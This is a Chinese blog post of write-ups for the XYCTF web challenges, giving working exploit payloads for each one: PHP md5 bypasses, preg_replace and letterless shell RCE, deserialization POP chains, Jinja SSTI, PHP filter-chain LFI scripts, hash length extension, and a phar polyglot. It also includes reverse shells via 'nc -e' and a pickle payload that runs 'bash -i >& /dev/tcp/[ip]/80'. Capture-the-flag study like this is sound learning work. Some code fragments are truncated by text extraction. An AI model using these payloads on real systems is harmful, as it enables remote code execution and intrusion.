XYCTF - web

XYCTF - web

码农世界 2024-05-15 前端 60 次浏览 0个评论

目录

warm up

ezMake

ezhttp

ezmd5

牢牢记住,逝者为大

ezPOP

我是一个复读机

ezSerialize

第一关

第二关

第三关

第一种方法:

第二种方法:

ez?Make

方法一:利用反弹shell

方法二:通过进制编码绕过

εZ?¿м@Kε¿?

ezRCE

ezClass

方法一:SplFileObject读取文件

方法二 : Error的getMessage

ezLFI

连连看到底是连连什么看

give me flag

login

pharme


有些是比赛的时候写的,大部分是赛后看wp复现的

warm up

";
} else {
    die("什么情况,这么基础的md5做不来");
}
if (isset($md5) && $md5 == md5($md5)) {
    echo "ezez" . "
"; } else { die("什么情况,这么基础的md5做不来"); } if ($XY == $XYCTF) { if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) { echo $level2; } else { die("什么情况,这么基础的md5做不来"); } } else { die("学这么久,传参不会传?"); }

md5($_GET['val1']) == md5($_GET['val2'])) : md5弱比较,数组绕过

md5==md5(md5 == md5(md5==md5(md5) : 双md5

extract() : 可以变量覆盖

XYCTF_550102591 : md5值为 0e937920457786991080577371025051

s1502113478a:md5值为 0e861580163291561247404381396064

GET 传参:

?val1[]=1&val2[]=2&md5=0e00275209979&XY=s1502113478a&XYCTF=s1502113478a

到第二关 LLeeevvveeelll222.php

 

intval参数如果是有内容的数组返回1

post 传参: a[]=1

preg_replace的RCE:/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

?a=/test/e&b=system("cat /flag")&c=just test

直接得到flag : XYCTF{0b8c5ae7-22e3-4ef2-9d4a-d48d5a461c7c}

ezMake

语法问题:
echo $(shell cat f*)

或者
$(shell cat f*)

直接访问 /flag 可以下载附件存在flag

(目录扫描)

ezhttp

爆破:

用户名:XYCTF

密码:@JOILha!wuigqi123$

仿造http头

User-Agent: XYCTF

Referer: yuanshen.com

Client-IP:127.0.0.1

Connection: keep-alive

Via: ymzx.qq.com

Cookie: XYCTF

ezmd5

网上直接找两张MD5值相同的图片提交,就可以得到flag


牢牢记住,逝者为大

绕过前面的 # : 使用换行符的url编码 %0a ,使后面 cmd GET传参的命令可以正常执行

再使用 ; #闭合 注释掉后面 的 ,mamba out" 要不然总会报错

过滤了好多东西,又有长度限制,

尝试了蛮久的,都不行,不晓得中间要写什么命令了

?cmd=%0a ;%23

看完wp后,中间写上

`$_GET[1]`   绕过长度限制

这个长度为13是卡得正正好啊,写的时候用的 $_POST[1] ,长度超了,就放弃了,还真就没想到 $_GET[1]

?cmd=%0a`$_GET[1]`;%23&1=cp /flag 1.txt
(将flag文件里面的内容复制到 1.txt里面去,直接访问1.txt 得到flag)
(不能 cat /flag  转八进制,试了好久,不晓得为啥)
转成八进制
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\61\56\164\170\164'
 然后直接访问1.txt ,拿到flag
 
 这道题看其他人的wp, 是可以去反弹shell的
 ?cmd=%0a`$_GET[1]`;%23&1=nc ip 端口 -e /bi''n/sh

ezPOP

";
        $p = $this->a;
        return $this->s->$p;
    }
}
class BBB{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B 
"; $a=$_POST['a']; $b=$_POST; $c=$this->c; $d=$this->d; if (isset($b['a'])) { unset($b['a']); } call_user_func($a,$b)($c)($d); } } class CCC{ public $c; public function __destruct() { echo "you get 2 C
"; echo $this->c; } } if(isset($_GET['xy'])) { $a = unserialize($_GET['xy']); throw new Exception("noooooob!!!"); } // pop链//CCC类-__destruct --> AAA类-__toString-->BBB类-__get -->call_user_func( , )()() //POST传参 : a=implode b=system// implode() :将数组的值拼接为一个字符串 ; b是一个数组参数 $a=new CCC(); $a->c=new AAA(); $a->c->s=new BBB(); $a->c->s->c='ls /'; $a->c->s->d='hello'; //d随便填, system("ls")("hello")不影响命令执行 $b=array($a,0); //绕过throw ,最后还需要将 i:1 --> i:0 echo serialize($b); //a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";s:5:"hello";}s:1:"a";N;}}i:1;i:0;} //a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";s:5:"hello";}s:1:"a";N;}}i:0;i:0;} //XYCTF{28f226e7-a5a7-485d-972e-4c58d8abbb3e}

我是一个复读机

username : admin

密码:asdqwe

关键在于要有中文,还是一个中文一个{},两个中文就是{{}},三个中文又是{},做题的时候就是卡在这里了,题目说了只是一个会说英文的复读机,之前还真就没去试过中文,直接就放弃了

不然 {{}} 和 {%%}都被过滤了,无法ssti注入

直接使用 request

payload:
离谱(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
//XYCTF{3c468048-beb9-409f-8a0a-ffb8dfbdc940}

ezSerialize

第一关

第一步:&符号的运用,直接传参

?pop=O:4:"Flag":2:{s:5:"token";i:1;s:8:"password";R:2;}

结果:

fpclosefpclosefpcloseffflllaaaggg.php

第二关
mack->nonExistentMethod();
    }
}
class B {
    public $luo;
    public function __get($key){
        echo "o.O
"; $function = $this->luo; return $function(); } } class C { public $wang1; public function __call($wang1,$wang2) { include 'flag.php'; echo $flag2; } } class D { public $lao; public $chen; public function __toString(){ echo "O.o
"; return is_null($this->lao->chen) ? "" : $this->lao->chen; } } class E { public $name = "xxxxx"; public $num; public function __unserialize($data) { echo "
学到就是赚到!
"; echo $data['num']; } public function __wakeup(){ if($this->name!='' || $this->num!=''){ echo "旅行者别忘记旅行的意义!
"; } } } if (isset($_POST['pop'])) { unserialize($_POST['pop']); } $a=new E(); $a->num=new D(); $a->name=''; $a->num->lao=new B(); $a->num->lao->luo=new A(); $a->num->lao->luo->mack=new C(); echo serialize($a); //O:1:"E":2:{s:4:"name";s:0:"";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}} //开始就是 没有$a->name=''; 这一步,导致一直不能执行成功,一直卡着

然后又进入到下一关:saber_master_saber_master.php

第三关
Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}
class XYCTFNO2{
    public $crypto0;
    public $adwa;
    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }
    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}
class XYCTFNO3{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";
    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }
    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }
    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}
if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}
第一种方法:

在类里面做一些相应的更改

关键点绕过 if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258')

直接在 XYCTFNO1 类里面添加属性$crypto0, 再更改相应的__construct 赋值

在 XYCTFNO3 类里面直接给 $N1ght = "oSthing" 赋值

最后利用到 new $_POST['X']($_POST['Y']); ,使用 SplFileObject 读取文件flag.php

post传参 :X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php

(直接读flag.php 没有回显,所以使用伪协议)

T1ng = $T1ng;
        $this->crypto0=$crypto0;
    }
}
class XYCTFNO2{
    public $crypto0;
    public $adwa;
    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
        $this->adwa=$adwa;
    }
}
class XYCTFNO3{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "oSthing";
    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }
}
$a = new XYCTFNO3(new XYCTFNO2('dev1l',new XYCTFNO1('yuroandCMD258','dev1l')),1);
echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:5:"dev1l";s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";N;s:4:"T1ng";s:13:"yuroandCMD258";s:17:" XYCTFNO1 upsw1ng";N;s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";i:1;s:5:"N1ght";s:7:"oSthing";}

第二种方法:

利用 stdClass() 类,实例化直接赋值 $crypto0 = 'dev1l' , $T1ng = 'yuroandCMD258'

post传参依旧是 X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php 读取文件

N1ght='oSthing';
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new stdClass();
$a->KickyMu->adwa->crypto0='dev1l';
$a->KickyMu->adwa->T1ng='yuroandCMD258';
echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"stdClass":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}

ez?Make

方法一:利用反弹shell
`nc ip 端口 -e sh`
之前一直没能够复现成功,结果竟然是端口的问题,用80端口就可以连接,用其他的端口就连接不了,有点奇怪,我明明把所有的端口都打开了啊,有点不能理解,浪费几个小时

方法二:通过进制编码绕过
`echo 636174202F666c6167 | xxd -r -p`
前面的十六进制表示 cat /flag  , 通过 反引号执行 ` ` 
(因为f被过滤了,将f大写绕过,不影响命令执行)
xxd 是一个用于在十六进制和二进制之间进行转换的工具。-r 选项告诉 xxd 将十六进制输入转换为二进制输出(即“reverse”或“reconstruct”)。-p 选项表示输入是纯十六进制(没有地址、偏移或其他信息)
echo 输出十六进制字符串 636174202F666c6167。
通过管道 |,这个输出被传递给 xxd 命令。
xxd -r -p 将这个十六进制字符串转换为它的二进制表示,并输出相应的ASCII字符。
//XYCTF{1d61fce7-42f1-4f55-85a8-fdf1fea48cc5}

εZ?¿м@Kε¿?

(看着wp写,也是有点没看懂,简单记录一下)

主要也是学到了 , $() 能够执行命令, < 能够将东西输入到命令中

makefile的特定语法需要 $$

 

ezRCE

 

无字母RCE

Linux终端可以通过 $'\xxx' 的方式执行命令,xxx是字符ascii码的八进制形式

$'\154\163' ==> ls 可以执行

但是 $'\154\163\40\57' ==> ls / 无法执行,会被解析成字符串,无法执行命令

所以就需要用到 <<< 在Linux中,“<<<”是一个称为"Here String"的特殊操作符。它的作用是将字符串的内容作为输入传递给命令

以及 $0 相当与bash

所以 0<<<0<<<0<<<'\154\163\40\57' 就可以执行命令了

?cmd=0<<<0<<<0<<<'\143\141\164\40\57\146\154\141\147' ==> cat /flag 拿到flag

XYCTF{29b04a5d-c92f-436f-8ea4-6bf693f317de}

ezClass

$c())((new $b($bb))->$c());
方法一:SplFileObject读取文件

SplFileObject 加上 php伪协议 读取文件 , 调用__toString() 方法得到字符串

get传参:
a=new SplFileObject
aa=php://filter/read=convert.base64-encode/resource=/flag
c=__toString

解密:XYCTF{9801dabe-6702-4f4e-91d5-1d1f4ce2c684}

这是直接猜在根目录下有一个flag文件,要是把flag文件换个名,就需要读取目录了,但网上搜了一下读目录的

DirectoryIterator类 + glob://协议 遍历目录,但没能成功,读不到目录,可能不适合这道题或者我哪里搞错了,有点懵

方法二 : Error的getMessage
getMessage();
//可以输出system

所以get传参

?a=Error&aa=system&b=Error&bb=cat /flag&c=getMessage

ezLFI

在index.php中可以看到代码
 

直接现成的脚本,把地址写上去,直接输出了flag

(这道题之前倒是做过类似的,绕过 include_once(); ,但是原理方面不太理解)

import requests
url = "http://gz.imxbt.cn:20208/"
file_to_use = "/etc/passwd"
command = "/readflag"
#
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})
print(r.text)
#XYCTF{878ce487-4b88-4683-ae70-7cfd8af42803}

连连看到底是连连什么看

打开index.php文件

进入到what's_this.php

 

https://github.com/synacktiv/php_filter_chain_generator

需要用伪协议构造一个 XYCTF

用这个项目,运行生成

第一种方法:
需要将XYCTF进行几次 base64编码
命令:
python php_filter_chain_generator.py --chain 'Vm1wQ1lXTXhTa2RYYTFwWVZWRQ'
Vm1wQ1lXTXhTa2RYYTFwWVZWRQ  ---> XYCTF (5次base64解码)
但是 XYCTF 五次 base64编码只能得到  -->   Vm1wQ1lXTXhTa2RYYTFwWVZrUkJPUT09
用这个去运行的话却不能得到flag(感觉不应该啊),刚开始没注意一直弄不出来,也不知道 Vm1wQ1lXTXhTa2RYYTFwWVZWRQ 是怎么来的
不过 Vm1wQ1lXTXhTa2RYYTFwWVZr 就可以base64解码成 XYCTF 
(先暂时放着)
第二种方法:
python3 php_filter_chain_generator.py --chain 'XYCTF<'
然后复制下payload之后,使用string.strip_tags过滤器绕过
strip_tags :从字符串中去除 HTML 和 PHP 标签

得到的结果还需要进行解码,编码了几次就需要解码几次

payload:
?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode

XYCTF{5f9e48b3-7851-41c0-aa56-c0a746784199}

give me flag

 

考察hash长度扩展攻击

文章:https://err0rzz.github.io/2017/09/18/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/

https://www.cnblogs.com/yunen/p/13624595.html

利用工具:https://github.com/shellfeel/hash-ext-attack?tab=readme-ov-file

扩展字符输入的是一个未来的时间戳,就是未来几分钟的

密钥长度就是 flag 的长度,flag长度是固定的

payload:
?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4
value 的值是新明文去掉后面的时间戳,因为题目  $FLAG.$value.$time  已经是把时间戳加上去的
md5 的值就是新生成的hash,

再写一个简单的脚本不断的请求,当时间接近我们输入的时间戳,就可以得到flag

import requests
url='http://gz.imxbt.cn:20249/?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4'
while True:
    res=requests.get(url=url)
    if "{" in res.text:
        print(res.text)
        break

XYCTF{c22d49e0-728d-4b84-a43c-33b6a4dd3b1d}

login

打开网站是一个登录的界面,目录扫描可以扫描出 /register.php

注册一个账号再登录,可以在cookie里面找到一个 RememberMe

base64解码一下 ,有登录的 用户名和密码 的信息

python的pickle反序列化 ,反弹shell

import base64
a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/[ip]/80 0>&1"'
o.
'''
print(base64.b64encode(a))
#     c  获取一个全局对象或import一个模块    写法:  c[module]\n[instance]\n    获得的对象入栈#    S       实例化一个字符串对象    写法:S'xxx'\n(也可以使用双引号、\'等python字符串形式)   获得的对象入栈#    (       向栈中压入一个MARK标记       MARK标记入栈#    o       寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)   这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈

pharme

查看源码,class.php, 访问

cmd))){
            eval($this->cmd.'isbigvegetablechicken!');
        } else {
            echo 'nonono';
        }
    }
}
if(isset($_POST['file']))
{
    if(preg_match('/^phar:\/\//i',$_POST['file']))
    {
        die("nonono");
    }
    file_get_contents($_POST['file']);
}

if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))) 表明无参数rce

eval($this->cmd.'isbigvegetablechicken!') 使用halt_compiler()绕过 ,去中断编译执行使其后面的字符不被解析

if(preg_match('/^phar:\/\//i',$_POST['file'])) 使用php伪协议绕过

构造phar包,使用gzip命令压缩上传,再改后缀为 png , 上传

http请求 在最后一个请求加上 SS:system(cat /flag); 执行命令

post传参:file=php://filter/convert.base64-encode/resource=phar:///tmp/fb5c81ed3a220004b71069645f112867.png

cmd='eval(end(getallheaders()));__helt_compiler();';
$phar=new Phar('1.phar');
$phar->startBuffering(); 
$phar->setStub('GIF89a'.'');
$phar->setMetadata($a);
$phar->addFromString('1.txt','111');
$phar->stopBuffering();

转载请注明来自码农世界,本文标题:《XYCTF - web》

百度分享代码,如果开启HTTPS请参考李洋个人博客
每一天,每一秒,你所做的决定都会改变你的人生!

发表评论

快捷回复:

评论列表 (暂无评论,60人围观)参与讨论

还没有评论,来说两句吧...

Top